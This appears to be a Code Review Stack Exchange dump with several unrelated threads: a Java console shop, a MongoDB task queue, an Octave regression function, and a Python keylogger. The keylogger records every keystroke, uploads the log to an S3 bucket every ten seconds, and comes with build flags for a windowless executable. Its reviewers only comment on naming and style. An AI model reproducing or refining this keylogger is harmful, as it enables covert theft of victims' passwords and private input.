\n" + "\"exit\" if u want to exit without buying all that contains in a basket, \n" + "\"delete number\" if u want to delete smth from a basket, \n" + "\"clear\" if u want to clear basket, \n" + "\"print\" if u want print all products contains in a basket:):"; private final static String THANKS = "Thank u, come to us again!"; private final static String OKEY = "okey"; // can i use enum? public Shop(Account[] dataBase, Product[] assortiment) throws CloneNotSupportedException{ this.dataBase = dataBase; this.assortiment = assortiment; } public void play(Account user) throws CloneNotSupportedException { AccountAndDataBase userAndDataBaseClone; if(user == null) { System.err.println("user is not declared!"); return; } if(!Account.isIn(dataBase, user)) { System.err.println("user " + user.getLogin() + " is not in the database!"); return; } userAndDataBaseClone = GetAccountAndDataBaseAfterBuyingAllFromBasketAfterPuttingInABasket(user); System.out.println(THANKS); System.out.println("Ur account stats: " + userAndDataBaseClone.getAccount().toStringMoney()); if(isEmpty(basket)) { System.out.println("U bought nothing"); } else { System.out.println("U bought : "); Product.print(basket); } } private boolean isEmpty(Product[] basket) {} private AccountAndDataBase GetAccountAndDataBaseAfterBuyingAllFromBasketAfterPuttingInABasket(Account user) throws CloneNotSupportedException {} private boolean isNumbers(String[] splitted) {} private Product[] toGetEmptyBasket() {} private void deleteFromABasket(Product[] assortimentClone, Account userClone, int id) {} private void addToABasket(Product[] assortimentClone, Account userClone, int id, int selectedQuantity) {} private void toClearBasket(Product[] assortimentClone, Account userClone) {} private int[] getProductNumberAndQuantity(String command) {} private String commandFormStatusForDeleting(String commandWithoutKeyWord) {} private String commandFormStatusForAdding(String command) {} private boolean isNumber(String str) {} private boolean isNumber(char c) {} } </code></pre> <p>full code:</p> <pre><code>public class Shop { private Account[] dataBase; private Product[] assortiment; private Product[] basket; // i could create it as int[], but... its does not looks good private final static String CHOOSE = "Print the product number and its quantity(\"add number quantity\", or \"add number\", if quantity = 1) to add it in a basket\n" + "Print \"buy and exit\" if u want to exit and buy all that contains in a basket, \n" + "\"exit\" if u want to exit without buying all that contains in a basket, \n" + "\"delete number\" if u want to delete smth from a basket, \n" + "\"clear\" if u want to clear basket, \n" + "\"print\" if u want print all products contains in a basket:):"; private final static String THANKS = "Thank u, come to us again!"; private final static String OKEY = "okey"; // can i use enum? public Shop(Account[] dataBase, Product[] assortiment) throws CloneNotSupportedException{ this.dataBase = dataBase; this.assortiment = assortiment; } public void play(Account user) throws CloneNotSupportedException { AccountAndDataBase userAndDataBaseClone; if(user == null) { System.err.println("user is not declared!"); return; } if(!Account.isIn(dataBase, user)) { System.err.println("user " + user.getLogin() + " is not in the database!"); return; } userAndDataBaseClone = GetAccountAndDataBaseAfterBuyingAllFromBasketAfterPuttingInABasket(user); System.out.println(THANKS); System.out.println("Ur account stats: " + userAndDataBaseClone.getAccount().toStringMoney()); if(isEmpty(basket)) { System.out.println("U bought nothing"); } else { System.out.println("U bought : "); Product.print(basket); } } private boolean isEmpty(Product[] basket) { for(Product p : basket) { if(p.getCount() != 0) { return false; } } return true; } private AccountAndDataBase GetAccountAndDataBaseAfterBuyingAllFromBasketAfterPuttingInABasket(Account user) throws CloneNotSupportedException { Scanner scanner = new Scanner(System.in); boolean needToPrintBasket = false; int[] selectedProductNumberAndQuantity; int selectedProductNumber, selectedQuantity; Product selectedProductInAssortiment; String command; String firstWordOfCommand; String commandWithoutKeyWord; String forError; Account userClone = user.clone(); Product[] assortimentClone = assortiment.clone(); basket = toGetEmptyBasket(); while(true) { System.out.println(userClone.toStringMoney()); if(needToPrintBasket) { System.out.println("Basket: "); Product.print(basket); needToPrintBasket = false; } System.out.println(CHOOSE); Product.print(assortimentClone); command = scanner.nextLine(); if(command.isEmpty()) { System.out.println("command is empty"); continue; } //buy and exit if(command.equals("buy and exit")) { break; } //exit if(command.equals("exit")) { toClearBasket(assortimentClone, userClone); break; } //print if(command.equals("print")) { needToPrintBasket = true; continue; } //clear if(command.equals("clear")) { toClearBasket(assortimentClone, userClone); continue; } if(command.indexOf(' ') == -1) { System.out.println("I cannot understand ur command"); continue; } firstWordOfCommand = command.substring(0,command.indexOf(" ")); commandWithoutKeyWord = command.substring(command.indexOf(" ")+1); if(firstWordOfCommand.isEmpty() || commandWithoutKeyWord.isEmpty()) { System.out.println("I cannot understand ur command"); continue; } if(!isNumbers(commandWithoutKeyWord.split(" "))) { System.out.println("One of number's field is not number"); continue; } if(commandWithoutKeyWord.split(" ").length &gt; 2) { System.out.println("Too many arguments after key word"); continue; } selectedProductNumberAndQuantity = getProductNumberAndQuantity(commandWithoutKeyWord); selectedProductNumber = selectedProductNumberAndQuantity[0]; selectedQuantity = selectedProductNumberAndQuantity[1]; if(assortimentClone.length &lt; selectedProductNumber) { System.out.println("selected product number is over assortiment's length"); continue; } if(selectedProductNumber &lt; 1) { System.out.println("selected product number is &lt; 1"); continue; } //delete if(firstWordOfCommand.toLowerCase().equals("delete") &amp;&amp; !(forError = commandFormStatusForDeleting(commandWithoutKeyWord)).equals(OKEY)) { System.out.println(forError); continue; }else if(firstWordOfCommand.toLowerCase().equals("delete")){ if(assortimentClone[selectedProductNumber-1].getCount() &lt; selectedQuantity) { System.out.println("selected product quantity must be &lt;= product's quantity in assortiment"); continue; } deleteFromABasket(assortimentClone, userClone, selectedProductNumber-1); continue; } //add if(firstWordOfCommand.toLowerCase().equals("add") &amp;&amp; !(forError = commandFormStatusForAdding(commandWithoutKeyWord)).equals(OKEY)) { System.out.println(forError); continue; }else if(firstWordOfCommand.toLowerCase().equals("add")){ selectedProductInAssortiment = assortimentClone[selectedProductNumber-1]; if((selectedProductInAssortiment.getPrice() * selectedQuantity) &gt; userClone.getMoney()) { System.out.println("U have not got enougth money. U can buy only "+((int) userClone.getMoney() / selectedProductInAssortiment.getPrice()) + " " + selectedProductInAssortiment.getName()); continue; } if(selectedProductInAssortiment.getCount() &lt; selectedQuantity) { System.out.println("There are only " + selectedProductInAssortiment.getCount() + " in assortiment"); continue; } addToABasket(assortimentClone, userClone, selectedProductNumber-1, selectedQuantity); continue; } System.out.println("I cannot understand ur command"); } return new AccountAndDataBase(userClone, assortimentClone); } private boolean isNumbers(String[] splitted) { for(int i = 0; i &lt; splitted.length; i++) { if(!isNumber(splitted[i])) { return false; } } return true; } private Product[] toGetEmptyBasket() { Product[] basket = new Product[assortiment.length]; for(int i = 0; i &lt; basket.length; i++) { basket[i] = new Product(assortiment[i].getName(),assortiment[i].getPrice(),0); } return basket; } private void deleteFromABasket(Product[] assortimentClone, Account userClone, int id) { userClone.addMoney(basket[id].getCount() * basket[id].getPrice()); assortimentClone[id].addCount(basket[id].getCount()); basket[id].setCount(0); } private void addToABasket(Product[] assortimentClone, Account userClone, int id, int selectedQuantity) { userClone.removeMoney(selectedQuantity * basket[id].getPrice()); assortimentClone[id].removeCount(selectedQuantity); basket[id].addCount(selectedQuantity); } private void toClearBasket(Product[] assortimentClone, Account userClone) { for(int id = 0; id &lt; basket.length; id++) { userClone.addMoney(basket[id].getCount() * basket[id].getPrice()); assortimentClone[id].addCount(basket[id].getCount()); basket[id].setCount(0); } } private int[] getProductNumberAndQuantity(String command) { final String[] commandSplitted = command.split(" "); if(commandSplitted.length == 1) { return new int[] {Integer.parseInt(commandSplitted[0]),1}; } else { // length == 2 return new int[] {Integer.parseInt(commandSplitted[0]),Integer.parseInt(commandSplitted[1])}; } } private String commandFormStatusForDeleting(String commandWithoutKeyWord) { if(commandWithoutKeyWord.indexOf(' ') != -1) { return "There are must to be only 1 space"; } if(!isNumber(commandWithoutKeyWord)) { return "product number should be number"; } return OKEY; } private String commandFormStatusForAdding(String command) { final int countOfSpaces = (int) command.chars().filter(c -&gt; c == ' ').count(); final String[] commandSplitted; if(countOfSpaces != 1 &amp;&amp; countOfSpaces != 0) { return "command must has only 1 or 0 spaces!"; } commandSplitted = command.split(" "); if(!isNumber(commandSplitted[0])) { return "product number must be number"; } if(countOfSpaces == 1 &amp;&amp; !isNumber(commandSplitted[1])) { return "product quantity must be number"; } return OKEY; } private boolean isNumber(String str) { for(char c:str.toCharArray()) { if(!isNumber(c)) { return false; } } return true; } private boolean isNumber(char c) { return c == '0' || c == '1' || c == '2' || c == '3' || c == '4' || c == '5' || c == '6' || c == '7' || c == '8' || c == '9' ; } } </code></pre> <p>class AccountAndDataBase:</p> <p>full code:</p> <pre><code>public class AccountAndDataBase{ private Account account; private Product[] dataBase; public AccountAndDataBase(Account account, Product[] dataBase) throws CloneNotSupportedException{ this.account = account.clone(); // for safety this.dataBase = Product.clone(dataBase); } Account getAccount() { return account; } Product[] getDataBase(){ return dataBase; } } </code></pre> <p>class Product:</p> <p>full code:</p> <pre><code>public class Product implements Cloneable{ private String name; private int price; private int count; public Product(String name, int price, int count) { this.name = name; this.price = price; this.count = count; } public static void print(Product[] assortiment) { for(int i = 0; i &lt; assortiment.length; i++) { System.out.println((i + 1) + ". " + assortiment[i].getName() + " costs " + assortiment[i].getPrice() + ". There are " + assortiment[i].getCount()); } } public static void clear(Product[] basket) { for(Product p:basket) { p.setCount(0); } } public static Product[] clone(Product[] dataBase) throws CloneNotSupportedException { Product[] dataBaseReturn = new Product[dataBase.length]; for(int i = 0; i &lt; dataBase.length; i++) { dataBaseReturn[i] = dataBase[i].clone(); } return dataBaseReturn; } public void setCount(int count) { this.count = count; } public String getName() { return name; } public int getPriceOfAll() { return price*count; } public int getPrice() { return price; } public int getCount() { return count; } public void addCount(int toAdd) { count+=toAdd; } public Product clone() throws CloneNotSupportedException { return (Product) super.clone(); } public void removeCount(int selectedQuantity) { count-=selectedQuantity; } } </code></pre> <p>class Account:</p> <p>full code:</p> <pre><code>public class Account implements Cloneable{ private int money; private String login; private String password; public Account(String login, String password, int money) { this.login = new String(login); this.password = new String(password); this.money = money; } public static Account[] clone(Account[] dataBase) throws CloneNotSupportedException { Account[] dataBaseReturn = new Account[dataBase.length]; for(int i = 0; i &lt; dataBase.length; i++) { dataBaseReturn[i] = dataBase[i].clone(); } return dataBaseReturn; } public static boolean isIn(Account[] dataBase, Account user) { for(Account u : dataBase) { if(user.equals(u)) { return true; } } return false; } public String toStringMoney() { return "Account \"" + login + "\" has " + money + " money"; } public int getMoney() { return money; } public Account clone() throws CloneNotSupportedException { return (Account) super.clone(); } public void addMoney(int toAdd) { this.money += toAdd; } public void removeMoney(int toRemove) { this.money -= toRemove; } @Override public boolean equals(Object obj) { if(obj == null || !(obj instanceof Account)) { return false; } Account a = (Account) obj; return a.getMoney() == money &amp;&amp; a.getPassword().equals(getPassword()) &amp;&amp; a.getLogin().equals(getLogin()); } public String getLogin() { return login; } private Object getPassword() { return password; } } </code></pre>
[]
[ { "body": "<p>I have some suggestions for your code, the first thing I saw from your <code>main</code> method is the use of <code>CloneNotSupportedException</code></p>\n\n<p><strong>Create a copy constructor instead of using clone() method</strong></p>\n\n<p>I have taken your <code>Product</code> class and added a copy constructor to avoid the use of <code>CloneNotSupportedException</code> like the code below:</p>\n\n<pre><code>public class Product {\n private String name;\n private int price;\n private int count;\n\n public Product(String name, int price, int count) {\n this.name = name;\n this.price = price;\n this.count = count;\n }\n\n //copy constructor for one product\n public Product(Product product) {\n this.name = product.name;\n this.price = product.price;\n this.count = product.count;\n }\n}\n</code></pre>\n\n<p>If you want to print the internal state of an object override the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#toString--\" rel=\"nofollow noreferrer\">toString</a> method and return a String:</p>\n\n<pre><code>@Override\npublic String toString() {\n return String.format(\"%s costs %d. There are %d\", name, price, count);\n}\n</code></pre>\n\n<p>Now you can use the <code>toString</code> method to print an array of <code>Product</code>:</p>\n\n<pre><code>public static void print(Product[] assortiment) {\n final int n = assortiment.length;\n for(int i = 0; i &lt; n; ++i) {\n System.out.println((i + 1) + \". \" + assortiment[i]);\n }\n}\n</code></pre>\n\n<p>To obtain a copy of an array you can use the method <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#copyOf-T:A-int-\" rel=\"nofollow noreferrer\">Arrays.copyOf</a></p>\n\n<pre><code>public static Product[] copyOf(Product[] original) {\n final int n = original.length;\n Product[] copy = Arrays.copyOf(original, n);\n return copy;\n}\n</code></pre>\n\n<p>These code changes could be applied to other classes in your code. I have seen in your code the following lines:</p>\n\n<blockquote>\n<pre><code>public void play(Account user) throws CloneNotSupportedException {\n AccountAndDataBase userAndDataBaseClone;\n if(user == null) {\n System.err.println(\"user is not declared!\");\n return;\n }\n if(!Account.isIn(dataBase, user)) {\n System.err.println(\"user \" + user.getLogin() + \" is not in the database!\");\n return;\n }\n...omitted\n}\n</code></pre>\n</blockquote>\n\n<p>This implies that when you pass illegal arguments to one method the method fails printing a message on the screen; for dealing with illegal arguments you can use the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/IllegalArgumentException.html\" rel=\"nofollow noreferrer\">IllegalArgumentException</a> class and construct a custom message for the exception like the code below:</p>\n\n<pre><code>public void play(Account user) throws CloneNotSupportedException {\n AccountAndDataBase userAndDataBaseClone;\n if(user == null) {\n throw new IllegalArgumentException(\"user is not declared!\");\n }\n if(!Account.isIn(dataBase, user)) {\n throw new IllegalArgumentException(\"user \" + user.getLogin() + \" is not in the database!\");\n }\n...omitted\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T16:59:16.053", "Id": "232022", "ParentId": "231962", "Score": "3" } } ]
{ "AcceptedAnswerId": "232022", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T15:51:58.003", "Id": "231962", "Score": "5", "Tags": [ "java", "game" ], "Title": "Store in console" }
231962
<p>I wrote a Keylogger in Python who transfers the Key Strokes to an S3 storage. What do you think about the Code? I would add the file saving in an other place and make it more legible. Feel free to copy the code and use it for your own.</p> <p>To run and compile it you need:</p> <ul> <li>Python 3.7.5</li> <li>boto3</li> <li>pynput</li> <li>pyinstaller</li> </ul> <p>Greetings</p> <pre><code>""" To compile it with pyinstaller use this string: pyinstaller -F --noconsole --icon=path/to/icon.ico keylogger.py --hidden- import=configparser """` import pynput import logging import boto3 import threading, time import string import random from pynput.keyboard import Key, Listener from botocore.exceptions import NoCredentialsError from threading import Thread ACCESS_KEY = "Put your AWS access key here" SECRET_KEY = "Put your AWS secret access key here" log_dir = "" # Upload timer in seconds WAIT_TIME_SECONDS = 10 # Random filename for amazon AWS def id_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) awsname = id_generator() + '.txt' #Amazon AWS upload def upload_to_aws(local_file, bucket, s3_file): s3 = boto3.client('s3', aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY) try: s3.upload_file(local_file, bucket, s3_file) return True except FileNotFoundError: return False except NoCredentialsError: return False # Key logging def on_press(key): logging.info(str(key)) # key logging def listening(): with Listener(on_press=on_press) as listener: listener.join() #Amazon uploadind second function def awsuploading(): uploaded = upload_to_aws('Your Local file name', 'Your S3 Storage name', awsname) logging.basicConfig(filename=(log_dir + "Your local file name"), level=logging.INFO, format='%(asctime)s: %(message)s') # Threading to run logging of keys and upload every 10 seconds if __name__ == '__main__': Thread(target = listening).start() ticker = threading.Event() while not ticker.wait(WAIT_TIME_SECONDS): Thread(target = awsuploading).start() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:22:36.973", "Id": "452714", "Score": "1", "body": "Does `boto3` automatically use HTTPS? Otherwise you are uploading all the passwords you type in cleartext, which everybody in the vicinity can read if you are on WiFi..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:44:09.927", "Id": "452717", "Score": "1", "body": "Just FYI, anything posted here can be used by others." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T17:06:53.070", "Id": "452722", "Score": "0", "body": "@pacmaninbw Even by the police ¯\\\\_(ツ)_/¯" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T20:17:07.537", "Id": "452734", "Score": "0", "body": "I really doubt any harm could come from posting this. You can easily find much worse (malicious) elsewhere on the web." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:29:37.193", "Id": "452784", "Score": "0", "body": "Thank you guys for your replys. To answer @Graipher. Yes, it is encrypted. I analysed with Wireshark and it is not possible to read the keys of Amazon S3. I dont know if it is possible, when someone trys to reverse engineer the exe file. On the other hand, you can create a user in Amazon S3 with limited access. So no worrys there. Well, it is for sure a piece of spy code. So, if you use it against other ppl, you have to live with your consciousness that you really gonna harm others." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:11:46.400", "Id": "452789", "Score": "0", "body": "Welcome to Code Review! I have rolled back your last edit. Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*." } ]
[ { "body": "<p>Can't help but take the low hanging fruit: </p>\n\n<p><code>awsname</code> should be <code>aws_name</code> or <code>awsName</code>. Words are always separated somehow.</p>\n\n<p><code>awsuploading</code> should be renamed to <code>aws_uploading</code> to match your other method names.</p>\n\n<p>I can't review more than that as I don't know Python. The title of this post is what caught my attention.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T19:13:49.710", "Id": "231974", "ParentId": "231963", "Score": "1" } }, { "body": "<p>Honestly, I didn't run it, but there's some things I can point out.</p>\n\n<p>In <code>upload_to_aws</code>, you have</p>\n\n<pre><code>try:\n s3.upload_file(local_file, bucket, s3_file)\n return True\nexcept FileNotFoundError:\n return False\nexcept NoCredentialsError:\n return False\n</code></pre>\n\n<p><code>except</code>s can actually <a href=\"https://stackoverflow.com/questions/6470428/catch-multiple-exceptions-in-one-line-except-block\">be combined though</a>:</p>\n\n<pre><code>try:\n s3.upload_file(local_file, bucket, s3_file)\n return True\n\nexcept (FileNotFoundError, NoCredentialsError):\n return False\n</code></pre>\n\n<p>I like a little more spacing in there too.</p>\n\n<hr>\n\n<p>When passing keyword arguments, there shouldn't be spacing <a href=\"https://www.python.org/dev/peps/pep-0008/#other-recommendations\" rel=\"nofollow noreferrer\">around the <code>=</code></a>:</p>\n\n<pre><code>Thread(target=listening).start()\n</code></pre>\n\n<hr>\n\n<p>You may want to look into using <a href=\"https://docs.python.org/3/library/typing.html\" rel=\"nofollow noreferrer\">type hints</a>. They're not necessary for a project like this, but they can be handy if you don't know about them.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T23:06:02.310", "Id": "231986", "ParentId": "231963", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:00:29.713", "Id": "231963", "Score": "5", "Tags": [ "python", "security" ], "Title": "Keylogger in Python" }
231963
<p>I've been using Beanstaldk (not Amazon's one) for years and loved the possibility to handle delays and priorities in the tasks, but I recently had to filters the tasks for specific reasons, and Beanstalk doesn't allow that easily.</p> <p>So, after searching a bit, I decided to use Mongo as it seems to be pretty fast, and I wrote a (basic) Task Queue system for this in Python.</p> <pre><code># -*- coding:utf-8 -*- from pymongo import MongoClient, ASCENDING from pymongo.collection import ReturnDocument from bson.objectid import ObjectId import time class MongoQ: """ MongoQ is a queue system based on MongoDB. It offers the possibility to: * Delay * Filters * Priorize (from 1 (highest) to 1024 (lowest)) """ def __init__(self, host, queue, port=27017, database='_queue', precision=1000 * 1000): # connect self.client = MongoClient(host, port) self.db = self.client[database] self.queue = queue self._precision = precision def _parse_filters(self, filters): if filters is None: return {} assert isinstance(filters, dict) results = {} for k in filters: if k[0:1] == '$': sub = filters[k] if isinstance(sub, dict): results[k] = self._parse_filters(sub) elif isinstance(sub, (tuple, list)): results[k] = [] for value in sub: results[k].append(self._parse_filters(value)) else: results['task.{0}'.format(k)] = filters[k] return results def use(self, queue): self.queue = queue def using(self): return self.queue def stats(self): ts = int(time.time() * self._precision) return { 'jobs': self.db[self.queue].estimated_document_count(), 'available': self.db[self.queue].count_documents({ '_available': {'$lte': ts}, '$or': [ {'_reserved': None}, {'_reserved': {'$lte': ts}} ] }), 'reserved': self.db[self.queue].count_documents({'_reserved': {'$gt': ts}}) } def peek(self, _id): if isinstance(_id, str): _id = ObjectId(_id) return self.db[self.queue].find_one({'_id': _id}) def reserve(self, filters=None, ttr=5): """ Returns a tuple (ObjectId, Task) ttr is in seconds """ assert ttr &gt;= 0 filters = self._parse_filters(filters) ts = int(time.time() * self._precision) filtering = { '_available': {'$lte': ts} } _or_reserved_filter = {'$or': [ {'_reserved': None}, {'_reserved': {'$lte': ts}} ]} if filters.get('$or') is not None: if filters.get('$and') is not None: filtering['$and'] = filters.get('$and') else: filtering['$and'] = [] filtering['$and'].append({'$or': filters['$or']}) filtering['$and'].append(_or_reserved_filter) else: filtering['$or'] = _or_reserved_filter['$or'] obj = self.db[self.queue].find_one_and_update( filter=filtering, update={'$set': {'_reserved': ts + int(ttr * self._precision)}}, sort=[('_priority', ASCENDING), ('_available', ASCENDING)], return_document=ReturnDocument.AFTER ) if not obj: return None return Job(self.db[self.queue], obj) def reserve_many(self, filters=None, ttr=5, limit=1): """ ttr is in seconds but float is allowed """ jobs = [] while True: job = self.reserve(filters, ttr) if not job: break jobs.append(job) if len(jobs) &gt;= limit: break return jobs def put(self, task, priority=1, delay=0): assert isinstance(task, dict) assert isinstance(priority, int) assert priority &gt;= 0 assert priority &lt;= 1024 assert isinstance(delay, int) assert delay &gt;= 0 ts = int(time.time() * self._precision) return self.db[self.queue].insert_one({ '_available': ts + (delay * self._precision), '_reserved': None, '_priority': priority, 'task': task }).inserted_id def put_many(self, tasks, priority=1, delay=0): assert isinstance(tasks, (list, tuple)) assert isinstance(priority, int) assert priority &gt;= 0 assert priority &lt;= 1024 assert isinstance(delay, int) assert delay &gt;= 0 ts = int(time.time() * self._precision) documents = [] for d in tasks: assert isinstance(d, dict) documents.append({ '_available': ts + (delay * self._precision), '_reserved': None, '_priority': priority, 'task': d }) return self.db[self.queue].insert_many(documents).inserted_ids def remove(self, _id): assert isinstance(_id, ObjectId) self.db[self.queue].delete_one({'_id': _id}) def remove_many(self, ids): assert isinstance(ids, (list, tuple)) for i in ids: assert isinstance(i, ObjectId) self.db[self.queue].delete_many({'_id': {'$in': ids}}) class Job: """ Represents one Job. Allows to remove or release it depending on the need. """ def __init__(self, queue, job): self.queue = queue self.job = job @property def priority(self): return self.job['_priority'] @property def id(self): return self.job['_id'] @property def task(self): return self.job['task'] def remove(self): self.queue.delete_one({'_id': self.job['_id']}) def release(self): self.queue.update_one({'_id': self.job['_id']}, {'$set': {'_reserved': None}}) </code></pre> <p>It works as follow:</p> <pre><code># Server side: q = MongoQ('127.0.0.1', 'my-queue') q.put({'some': 'task', 'to': 'run'}, delay=5, priority=10) # Client side: q = MongoQ('127.0.0.1', 'test-a') job = q.reserve('my-queue') print(job.task['some']) job.remove() # you can also do q.remove(job.id) </code></pre> <p>What do you think?</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T17:05:57.757", "Id": "231967", "Score": "2", "Tags": [ "python", "queue", "mongodb" ], "Title": "MongoQ - A Task queue system using Mongo" }
231967
<p>I've written the following Octave function which is designed to be repetively called in a Bayesian optimisation routine and which outputs a value J, the <a href="https://en.wikipedia.org/wiki/Akaike_information_criterion" rel="nofollow noreferrer">Akaike Information Criteria</a> for the Logistic regression model being tested, given the data</p> <pre><code>function J = rvfl_training_of_cyclic_embedding ( x ) global sample_features ; global sample_targets ; epsilon = 1e-15 ; ## to ensure log() does not give out a nan ## check input x if ( numel( x ) != 6 ) error( 'The input vector x must be of length 6.' ) ; endif ## get the parameters from input x hidden_layer_size = floor( x( 1 ) ) ; ## number of neurons in hidden layer randomisation_type = floor( x( 2 ) ) ; ## 1 == uniform, 2 == Gaussian scale_mode = floor( x( 3 ) ) ; ## 1 will scale the features for all neurons, 2 will scale the features for each hidden ## neuron separately, 3 will scale the range of the randomization for uniform distribution scale = x( 4 ) ; ## Linearly scale the random features before feeding into the nonlinear activation function. ## In this implementation, we consider the threshold which leads to 0.99 of the maximum/minimum ## value of the activation function as the saturating threshold. ## scale = 0.9 means all the random features will be linearly scaled ## into 0.9 * [ lower_saturating_threshold , upper_saturating_threshold ]. if_output_bias = floor( x( 5 ) + 0.5 ) ; ## Use output bias, or not? 1 == yes , 0 == no. lambda = x( 6 ) ; ## the regularization coefficient lambda rand( 'seed' , 0 ) ; randn( 'seed' , 0 ) ; sample_targets_temp = sample_targets ; [ Nsample , Nfea ] = size( sample_features ) ; ######### get type of randomisation from input x ################# if ( randomisation_type == 1 ) ## uniform randomisation if ( scale_mode == 3 ) ## range scaled for uniform randomisation Weight = scale * ( rand( Nfea , hidden_layer_size ) * 2 - 1 ) ; ## scaled uniform random input weights to hidden layer Bias = scale * rand( 1 , hidden_layer_size ) ; ## scaled random bias weights to hidden layer else Weight = rand( Nfea , hidden_layer_size ) * 2 - 1 ; ## unscaled random input weights to hidden layer Bias = rand( 1 , hidden_layer_size ) ; ## unscaled random bias weights to hidden layer endif elseif ( randomisation_type == 2 ) ## gaussian randomisation Weight = randn( Nfea , hidden_layer_size ) ; ## gaussian random input weights to hidden layer Bias = randn( 1 , hidden_layer_size ) ; ## gaussian random bias weights to hidden layer else error( 'only Gaussian and Uniform are supported' ) endif ############################################################################ Bias_train = repmat( Bias , Nsample , 1 ) ; H = sample_features * Weight + Bias_train ; k_parameters = numel( Weight ) + numel( Bias_train ) ; ## Activation Function Saturating_threshold = [ -2.1 , 2.1 ] ; Saturating_threshold_activate = [ 0 , 1 ] ; if ( scale_mode == 1 ) ## scale the features for all neurons [ H , k , b ] = Scale_feature( H , Saturating_threshold , scale ) ; elseif ( scale_mode == 2 ) ## else scale the features for each hidden neuron separately [ H , k , b ] = Scale_feature_separately( H , Saturating_threshold , scale ) ; endif ## actual activation, the radial basis function H = exp( -abs( H ) ) ; if ( if_output_bias == 1 ) ## we will use an output bias H = [ H , ones( Nsample , 1 ) ] ; endif ## the direct link scaling options, concatenate hidden layer and sample_features if ( scale_mode == 1 ) ## scale the features for all neurons sample_features_temp = sample_features .* k + b ; H = [ H , sample_features_temp ] ; elseif ( scale_mode == 2 ) ## else scale the features for each hidden neuron separately [ sample_features_temp , ktr , btr ] = Scale_feature_separately( sample_features , Saturating_threshold_activate , scale ) ; H = [ H , sample_features_temp ] ; else H = [ H , sample_features ] ; endif H( isnan( H ) ) = 0 ; ## avoids any 'blowups' due to nans in H ## do the regularized least squares for concatenated hidden layer output ## and the original, possibly scaled, input sample_features if ( hidden_layer_size &lt; Nsample ) beta = ( eye( size( H , 2 ) ) / lambda + H' * H ) \ H' * sample_targets_temp ; else beta = H' * ( ( eye( size( H , 1 ) ) / lambda + H * H' ) \ sample_targets_temp ) ; endif k_parameters = k_parameters + numel( beta ) ; ## get the model predicted target output sample_targets_temp = H * beta ; ############################################################################ ## the final logistic output final_output = 1.0 ./ ( 1.0 .+ exp( -sample_targets_temp ) ) ; max_likelihood = sum( log( final_output .+ epsilon ) .* sample_targets + log( 1 .- final_output .+ epsilon ) .* ( 1 .- sample_targets ) ) ; ## get Akaike Information criteria J = 2 * k_parameters - 2 * max_likelihood ; rand( 'state' ) ; randn( 'state' ) ; ## reset rng endfunction </code></pre> <p>Most of the code is an adaptation of a github repository and I'm not too worried about that, but my main concern is the coding of the Akaike criteria towards the end as this is my own addition.</p> <p>Comments as to this implementation are most welcome.</p> <p>EDIT (in reponse to comment)</p> <p>Some simple test code for the function is:</p> <pre><code>global sample_features = 2 .* ( rand( 10 , 3 ) .- 0.5 ) ; global sample_targets = [ 1 ; 1 ; 1 ; 1 ; 0 ; 0 ; 0 ; 0 ; 1 ; 0 ] ; x = [ 3 , 1 , 3 , 0.9 , 1 , 0.1 ] ; J = rvfl_training_of_cyclic_embedding ( x ) ; </code></pre> <p>although in reality the function is supplied to an optimisation routine thus:</p> <pre><code>fun = 'rvfl_training_of_cyclic_embedding' ; [ xmin , fmin ] = bayesoptcont( fun , nDimensions , params , lb , ub ) ; </code></pre> <p>where nDimensions is the length of x, params is a structure containing options for the Bayesian optimisation routine and not pertinent to this question, and lb and ub are vectors with lower and upper bounds respectively for the values contained in x. The "bayesoptcont" function is part of the <a href="https://github.com/rmcantin/bayesopt" rel="nofollow noreferrer">BayesOpt</a> library.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:06:06.167", "Id": "452742", "Score": "0", "body": "Please add some test code to demonstrate how this function is used. You do have an automatic test suite for this complicated piece of code, don't you?" } ]
